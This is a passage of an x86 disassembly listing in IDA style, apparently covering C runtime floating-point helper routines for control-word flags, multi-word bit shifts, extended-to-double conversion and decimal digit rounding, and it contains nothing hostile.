mov [ebp+var_4], cx
jmp short loc_428B83
; ---------------------------------------------------------------------------
loc_428B5E: ; CODE XREF: sub_428A90+A6j
mov dx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], dx
jmp short loc_428B83
; ---------------------------------------------------------------------------
loc_428B6B: ; CODE XREF: sub_428A90+B5j
mov ax, [ebp+var_4]
or ah, 4
mov [ebp+var_4], ax
jmp short loc_428B83
; ---------------------------------------------------------------------------
loc_428B78: ; CODE XREF: sub_428A90+C0j
mov cx, [ebp+var_4]
or ch, 0Ch
mov [ebp+var_4], cx
loc_428B83: ; CODE XREF: sub_428A90+B7j
; sub_428A90+C2j ...
mov edx, [ebp+arg_0]
and edx, 30000h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_428BA9
cmp [ebp+var_C], 10000h
jz short loc_428BB6
cmp [ebp+var_C], 20000h
jz short loc_428BC3
jmp short loc_428BCB
; ---------------------------------------------------------------------------
loc_428BA9: ; CODE XREF: sub_428A90+103j
mov ax, [ebp+var_4]
or ah, 3
mov [ebp+var_4], ax
jmp short loc_428BCB
; ---------------------------------------------------------------------------
loc_428BB6: ; CODE XREF: sub_428A90+10Cj
mov cx, [ebp+var_4]
or ch, 2
mov [ebp+var_4], cx
jmp short loc_428BCB
; ---------------------------------------------------------------------------
loc_428BC3: ; CODE XREF: sub_428A90+115j
mov dx, [ebp+var_4]
mov [ebp+var_4], dx
loc_428BCB: ; CODE XREF: sub_428A90+117j
; sub_428A90+124j ...
mov eax, [ebp+arg_0]
and eax, 40000h
test eax, eax
jz short loc_428BE2
mov cx, [ebp+var_4]
or ch, 10h
mov [ebp+var_4], cx
loc_428BE2: ; CODE XREF: sub_428A90+145j
mov ax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428BF0 proc near ; CODE XREF: .text:00428810p
; .text:00428831p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_428C13
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_428C13: ; CODE XREF: sub_428BF0+18j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_428C2B
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_428C2B: ; CODE XREF: sub_428BF0+31j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_428C44
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_428C44: ; CODE XREF: sub_428BF0+49j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_428C5C
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_428C5C: ; CODE XREF: sub_428BF0+61j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_428C74
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_428C74: ; CODE XREF: sub_428BF0+7Aj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_428C90
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_428C90: ; CODE XREF: sub_428BF0+92j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_428BF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428CA0 proc near ; CODE XREF: sub_428DE0+70p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_428CC4
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_428CC4: ; CODE XREF: sub_428CA0+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_8]
test edx, edx
jz short loc_428CEF
xor eax, eax
jmp short loc_428D20
; ---------------------------------------------------------------------------
loc_428CEF: ; CODE XREF: sub_428CA0+49j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_428D03
; ---------------------------------------------------------------------------
loc_428CFA: ; CODE XREF: sub_428CA0:loc_428D19j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_428D03: ; CODE XREF: sub_428CA0+58j
cmp [ebp+var_C], 3
jge short loc_428D1B
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0
jz short loc_428D19
xor eax, eax
jmp short loc_428D20
; ---------------------------------------------------------------------------
loc_428D19: ; CODE XREF: sub_428CA0+73j
jmp short loc_428CFA
; ---------------------------------------------------------------------------
loc_428D1B: ; CODE XREF: sub_428CA0+67j
mov eax, 1
loc_428D20: ; CODE XREF: sub_428CA0+4Dj
; sub_428CA0+77j
mov esp, ebp
pop ebp
retn
sub_428CA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428D30 proc near ; CODE XREF: sub_428DE0+84p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_428D54
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_428D54: ; CODE XREF: sub_428D30+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
mov edx, 1
mov ecx, [ebp+var_4]
shl edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
push eax
call sub_42C840
add esp, 0Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
jmp short loc_428DA2
; ---------------------------------------------------------------------------
loc_428D99: ; CODE XREF: sub_428D30+9Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_428DA2: ; CODE XREF: sub_428D30+67j
cmp [ebp+var_C], 0
jl short loc_428DD1
cmp [ebp+var_10], 0
jz short loc_428DD1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
push 1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
push edx
call sub_42C840
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_428D99
; ---------------------------------------------------------------------------
loc_428DD1: ; CODE XREF: sub_428D30+76j
; sub_428D30+7Cj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_428D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428DE0 proc near ; CODE XREF: sub_429070+ABp
; sub_429070+132p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_14], eax
mov edx, [ebp+var_C]
and edx, 8000001Fh
jns short loc_428E1E
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_428E1E: ; CODE XREF: sub_428DE0+37j
mov eax, 1Fh
sub eax, edx
mov [ebp+var_8], eax
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
mov [ebp+var_1C], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_1C]
test edx, edx
jz short loc_428E6F
mov eax, [ebp+var_C]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428CA0
add esp, 8
test eax, eax
jnz short loc_428E6F
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_428D30
add esp, 8
mov [ebp+var_18], eax
loc_428E6F: ; CODE XREF: sub_428DE0+63j
; sub_428DE0+7Aj
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_8]
shl edx, cl
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4]
and eax, edx
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_10], eax
jmp short loc_428E9F
; ---------------------------------------------------------------------------
loc_428E96: ; CODE XREF: sub_428DE0+D2j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_428E9F: ; CODE XREF: sub_428DE0+B4j
cmp [ebp+var_10], 3
jge short loc_428EB4
mov edx, [ebp+var_10]
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx*4], 0
jmp short loc_428E96
; ---------------------------------------------------------------------------
loc_428EB4: ; CODE XREF: sub_428DE0+C3j
mov eax, [ebp+var_18]
mov esp, ebp
pop ebp
retn
sub_428DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428EC0 proc near ; CODE XREF: sub_429070+98p
; sub_429070+10Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_C], 0
jmp short loc_428EE4
; ---------------------------------------------------------------------------
loc_428EDB: ; CODE XREF: sub_428EC0+46j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_428EE4: ; CODE XREF: sub_428EC0+19j
cmp [ebp+var_C], 3
jge short loc_428F08
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_428EDB
; ---------------------------------------------------------------------------
loc_428F08: ; CODE XREF: sub_428EC0+28j
mov esp, ebp
pop ebp
retn
sub_428EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428F10 proc near ; CODE XREF: sub_429070+7Cp
; sub_429070+D5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_428F26
; ---------------------------------------------------------------------------
loc_428F1D: ; CODE XREF: sub_428F10+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_428F26: ; CODE XREF: sub_428F10+Bj
cmp [ebp+var_4], 3
jge short loc_428F3B
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0
jmp short loc_428F1D
; ---------------------------------------------------------------------------
loc_428F3B: ; CODE XREF: sub_428F10+1Aj
mov esp, ebp
pop ebp
retn
sub_428F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428F40 proc near ; CODE XREF: sub_429070+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_428F56
; ---------------------------------------------------------------------------
loc_428F4D: ; CODE XREF: sub_428F40:loc_428F6Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_428F56: ; CODE XREF: sub_428F40+Bj
cmp [ebp+var_4], 3
jge short loc_428F6E
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx*4], 0
jz short loc_428F6C
xor eax, eax
jmp short loc_428F73
; ---------------------------------------------------------------------------
loc_428F6C: ; CODE XREF: sub_428F40+26j
jmp short loc_428F4D
; ---------------------------------------------------------------------------
loc_428F6E: ; CODE XREF: sub_428F40+1Aj
mov eax, 1
loc_428F73: ; CODE XREF: sub_428F40+2Aj
mov esp, ebp
pop ebp
retn
sub_428F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428F80 proc near ; CODE XREF: sub_429070+11Fp
; sub_429070+148p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_428FA5
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_428FA5: ; CODE XREF: sub_428F80+1Ej
mov [ebp+var_4], eax
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_14], edx
mov [ebp+var_8], 0
mov [ebp+var_C], 0
jmp short loc_428FCE
; ---------------------------------------------------------------------------
loc_428FC5: ; CODE XREF: sub_428F80+9Fj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_428FCE: ; CODE XREF: sub_428F80+43j
cmp [ebp+var_C], 3
jge short loc_429021
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
and eax, [ebp+var_14]
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
or edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4], edx
mov ecx, 20h
sub ecx, [ebp+var_4]
mov edx, [ebp+var_10]
shl edx, cl
mov [ebp+var_8], edx
jmp short loc_428FC5
; ---------------------------------------------------------------------------
loc_429021: ; CODE XREF: sub_428F80+52j
mov [ebp+var_C], 2
jmp short loc_429033
; ---------------------------------------------------------------------------
loc_42902A: ; CODE XREF: sub_428F80:loc_429065j
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_429033: ; CODE XREF: sub_428F80+A8j
cmp [ebp+var_C], 0
jl short loc_429067
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_18]
jl short loc_429058
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4]
mov [ecx+eax*4], edx
jmp short loc_429065
; ---------------------------------------------------------------------------
loc_429058: ; CODE XREF: sub_428F80+BFj
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4], 0
loc_429065: ; CODE XREF: sub_428F80+D6j
jmp short loc_42902A
; ---------------------------------------------------------------------------
loc_429067: ; CODE XREF: sub_428F80+B7j
pop esi
mov esp, ebp
pop ebp
retn
sub_428F80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429070 proc near ; CODE XREF: sub_4292C0+10p
; sub_4292E0+10p
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
sub ecx, 3FFFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_10], eax
cmp [ebp+var_4], 0FFFFC001h
jnz short loc_429100
mov [ebp+var_8], 0
lea ecx, [ebp+var_18]
push ecx
call sub_428F40
add esp, 4
test eax, eax
jz short loc_4290E8
mov [ebp+var_1C], 0
jmp short loc_4290FB
; ---------------------------------------------------------------------------
loc_4290E8: ; CODE XREF: sub_429070+6Dj
lea edx, [ebp+var_18]
push edx
call sub_428F10
add esp, 4
mov [ebp+var_1C], 2
loc_4290FB: ; CODE XREF: sub_429070+76j
jmp loc_42924C
; ---------------------------------------------------------------------------
loc_429100: ; CODE XREF: sub_429070+56j
lea eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_30]
push ecx
call sub_428EC0
add esp, 8
mov edx, [ebp+arg_8]
mov eax, [edx+8]
push eax
lea ecx, [ebp+var_18]
push ecx
call sub_428DE0
add esp, 8
test eax, eax
jz short loc_429130
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_429130: ; CODE XREF: sub_429070+B5j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov edx, [eax+4]
sub edx, [ecx+8]
cmp [ebp+var_4], edx
jge short loc_429160
lea eax, [ebp+var_18]
push eax
call sub_428F10
add esp, 4
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp loc_42924C
; ---------------------------------------------------------------------------
loc_429160: ; CODE XREF: sub_429070+CFj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jg short loc_4291D0
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, [ebp+var_4]
mov [ebp+var_34], ecx
lea edx, [ebp+var_30]
push edx
lea eax, [ebp+var_18]
push eax
call sub_428EC0
add esp, 8
mov ecx, [ebp+var_34]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_428F80
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_428DE0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+0Ch]
add ecx, 1
push ecx
lea edx, [ebp+var_18]
push edx
call sub_428F80
add esp, 8
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp short loc_42924C
; ---------------------------------------------------------------------------
loc_4291D0: ; CODE XREF: sub_429070+F9j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jl short loc_42921B
lea edx, [ebp+var_18]
push edx
call sub_428F10
add esp, 4
mov eax, [ebp+var_18]
or eax, 80000000h
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_428F80
add esp, 8
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_8]
add edx, [eax+14h]
mov [ebp+var_8], edx
mov [ebp+var_1C], 1
jmp short loc_42924C
; ---------------------------------------------------------------------------
loc_42921B: ; CODE XREF: sub_429070+168j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+14h]
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
and eax, 7FFFFFFFh
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_428F80
add esp, 8
mov [ebp+var_1C], 0
loc_42924C: ; CODE XREF: sub_429070:loc_4290FBj
; sub_429070+EBj ...
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, 20h
sub eax, edx
mov [ebp+var_C], eax
mov edx, [ebp+var_8]
mov ecx, [ebp+var_C]
shl edx, cl
mov eax, [ebp+var_18]
or eax, edx
mov ecx, [ebp+var_20]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or eax, ecx
mov [ebp+var_24], eax
mov edx, [ebp+arg_8]
cmp dword ptr [edx+10h], 40h
jnz short loc_42929A
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_24]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_14]
mov [edx], eax
jmp short loc_4292AB
; ---------------------------------------------------------------------------
loc_42929A: ; CODE XREF: sub_429070+215j
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+10h], 20h
jnz short loc_4292AB
mov edx, [ebp+arg_4]
mov eax, [ebp+var_24]
mov [edx], eax
loc_4292AB: ; CODE XREF: sub_429070+228j
; sub_429070+231j
mov eax, [ebp+var_1C]
mov esp, ebp
pop ebp
retn
sub_429070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292C0 proc near ; CODE XREF: sub_4293C0+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_443720
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429070
add esp, 0Ch
pop ebp
retn
sub_4292C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292E0 proc near ; CODE XREF: sub_429440+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_443738
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429070
add esp, 0Ch
pop ebp
retn
sub_4292E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429300 proc near ; CODE XREF: .text:0042942Ap
; .text:0042D69Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
mov word ptr [ebp+var_4], cx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_8], eax
push 40h
lea ecx, [ebp+var_10]
push ecx
call sub_428DE0
add esp, 8
test eax, eax
jz short loc_429377
mov [ebp+var_10], 80000000h
mov dx, word ptr [ebp+var_4]
add dx, 1
mov word ptr [ebp+var_4], dx
loc_429377: ; CODE XREF: sub_429300+62j
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp eax, 7FFFh
jnz short loc_42938D
mov [ebp+var_14], 1
loc_42938D: ; CODE XREF: sub_429300+84j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_4]
and eax, 0FFFFh
or edx, eax
mov ecx, [ebp+arg_4]
mov [ecx+8], dx
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_429300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4293C0 proc near ; CODE XREF: sub_422910+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_42CB40
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_4292C0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_4293C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
lea ecx, [ebp-10h]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_42CB40
add esp, 1Ch
mov eax, [ebp+8]
push eax
lea ecx, [ebp-0Ch]
push ecx
call sub_429300
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429440 proc near ; CODE XREF: sub_422910+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_42CB40
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_4292E0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_429440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429480 proc near ; CODE XREF: sub_422960+4Dp
; sub_422B50+45p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 30h
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4294A4: ; CODE XREF: sub_429480+69j
cmp [ebp+arg_4], 0
jle short loc_4294EB
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_4294C8
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
jmp short loc_4294CF
; ---------------------------------------------------------------------------
loc_4294C8: ; CODE XREF: sub_429480+32j
mov [ebp+var_C], 30h
loc_4294CF: ; CODE XREF: sub_429480+46j
mov ecx, [ebp+var_4]
mov dl, byte ptr [ebp+var_C]
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_4294A4
; ---------------------------------------------------------------------------
loc_4294EB: ; CODE XREF: sub_429480+28j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
cmp [ebp+arg_4], 0
jl short loc_429534
mov eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
cmp ecx, 35h
jl short loc_429534
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42950B: ; CODE XREF: sub_429480+A5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_429527
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42950B
; ---------------------------------------------------------------------------
loc_429527: ; CODE XREF: sub_429480+94j
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 1
mov eax, [ebp+var_4]
mov [eax], dl
loc_429534: ; CODE XREF: sub_429480+75j
; sub_429480+80j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 31h
jnz short loc_429550
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx+4], ecx
jmp short loc_429576
; ---------------------------------------------------------------------------
loc_429550: ; CODE XREF: sub_429480+BDj
mov eax, [ebp+arg_0]
add eax, 1
push eax
